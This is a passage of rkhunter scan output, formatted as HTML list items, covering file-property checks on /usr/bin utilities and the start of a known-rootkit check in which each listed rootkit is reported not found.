<li>&nbsp;&nbsp; &nbsp;/usr/bin/cut&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/diff&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/dirname&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/du&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/env&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/file&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/find&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/groups&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/head&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/id&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/kill&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/killall&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/last&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/lastlog&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/ldd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/less&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/locate&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/logger&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/lsattr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/md5sum&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/newgrp&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/passwd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/perl&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/pgrep&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/pstree&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/readlink&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/runcon&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/sha1sum&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/sha224sum&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/sha256sum&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/sha384sum&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/sha512sum&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/size&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/stat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/strace&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/strings&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/sudo&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/tail&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/test&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/top&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/tr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/uniq&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/users&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/vmstat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/w&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/watch&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/wc&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/wget&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/whatis&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/whereis&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/which&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/who&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/whoami&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/gawk&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/local/rkhunter/etc/rkhunter.conf&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;</li>
<li>Checking for rootkits...</li>
<li>&nbsp;</li>
<li>&nbsp; Performing check of known rootkit files and directories</li>
<li>&nbsp;&nbsp; &nbsp;55808 Trojan - Variant A&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;ADM Worm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;AjaKit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Adore Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;aPa Kit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Apache Worm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Ambient (ark) Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Balaur Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;BeastKit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;beX2 Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;BOBKit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;cb Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;CiNIK Worm (Slapper.B variant)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Danny-Boy's Abuse Kit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Devil RootKit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Dica-Kit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Dreams Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Duarawkz Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Enye LKM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Flea Linux Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;FreeBSD Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Fu Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Fuck`it Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;GasKit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Heroin LKM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;HjC Kit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;ignoKit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;iLLogiC Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;IntoXonia-NG Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Irix Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Kitko Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Knark Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
